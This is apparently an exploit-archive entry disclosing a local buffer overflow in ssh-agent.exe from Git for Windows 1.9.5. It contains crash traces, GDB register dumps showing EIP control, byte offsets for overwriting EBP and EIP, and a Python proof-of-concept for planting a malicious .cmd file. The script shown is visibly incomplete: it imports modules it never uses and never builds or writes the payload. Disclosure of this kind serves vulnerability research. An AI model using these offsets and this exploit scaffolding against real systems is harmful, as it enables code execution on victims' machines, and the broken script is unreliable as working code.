Git 1.9.5 - ssh-agent.exe Buffer Overflow (PoC)

Type exploitpack
Reporter hyp3rlinx
Modified 2015-09-28T00:00:00


Git 1.9.5 - ssh-agent.exe Buffer Overflow (PoC)

[+] Credits: hyp3rlinx

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Vulnerability Type:
Buffer Overflow

CVE Reference:

Vulnerability Details:
Git Windows SVN ssh-agent.exe is vulnerable to buffer overflow. Under cmd dir in Git there is
start-ssh-agent.cmd file used to invoke ssh-agent.exe. This is local attack vector in which if
the "start-ssh-agent.cmd" file is replaced with specially crafted malicious '.cmd' file we cause buffer overflow, code execution may become possible.

Fault module seems to be msys-1.0.dll

File Name: msys-1.0.dll
MD5: 39E779952FF35D1EB3F74B9C36739092
APIVersion: 0.46

Stack trace:
MSYS-1.0.12 Build:2012-07-05 14:56
Exception: STATUS_ACCESS_VIOLATION at eip=41414141
eax=FFFFFFFF ebx=0028FA3C ecx=680A4C3A edx=680A4C3A esi=0028FA2C edi=00001DAC
ebp=42424242 esp=0028F9B4 program=C:\Program Files (x86)\Git\bin\ssh-agent.exe
cs=0023 ds=002B es=002B fs=0053 gs=002B ss=002B

Payload of 944 bytes to cause seg fault:
@ 948 bytes we completely overwrite EBP register.
@ 972 bytes KABOOOOOOOOOOM! we control EIP.

Quick GDB dump...

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) info r
eax            0xffffffff       -1
ecx            0x680a4c3a       1745505338
edx            0x680a4c3a       1745505338
ebx            0x28f90c 2685196
esp            0x28f884 0x28f884
ebp            0x41414141       0x41414141
esi            0x28f8fc 2685180
edi            0x2660   9824
eip            0x41414141       0x41414141
eflags         0x10246  [ PF ZF IF RF ]
cs             0x23     35
ss             0x2b     43
ds             0x2b     43
es             0x2b     43
fs             0x53     83
gs             0x2b     43

POC code(s):

Python script below to create a malicious 'start-ssh-agent.cmd' file that will be renamed
to 'ssh_agent_hell.cmd' and moved to the Git/bin directory, once run will cause buffer overflow and overwrite EIP.

Save following as or whatever, run the script to generate a new malicious '.cmd' file and run it!


import struct,os,shutil

#Git ssh-agent.exe
#EIP overwrite at 972 bytes
#By hyp3rlinx

file="C:\\Program Files (x86)\\Git\\bin\\ssh_agent_hell"
payload="CALL ssh-agent.exe "


src="C:\\Program Files (x86)\\Git\\bin\\"

print "Git ssh-agent.exe buffer overflow POC\n"
print "ssh_agent_hell.cmd file created!...\n"
print "by hyp3rlinx"
print "====================================\n"

Disclosure Timeline:
Vendor Notification:  August 10, 2015
Sept 26, 2015  : Public Disclosure

Exploitation Technique:

Vulnerable Product:     [+]  Git-1.9.5-preview20150319.exe


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by hyp3rlinx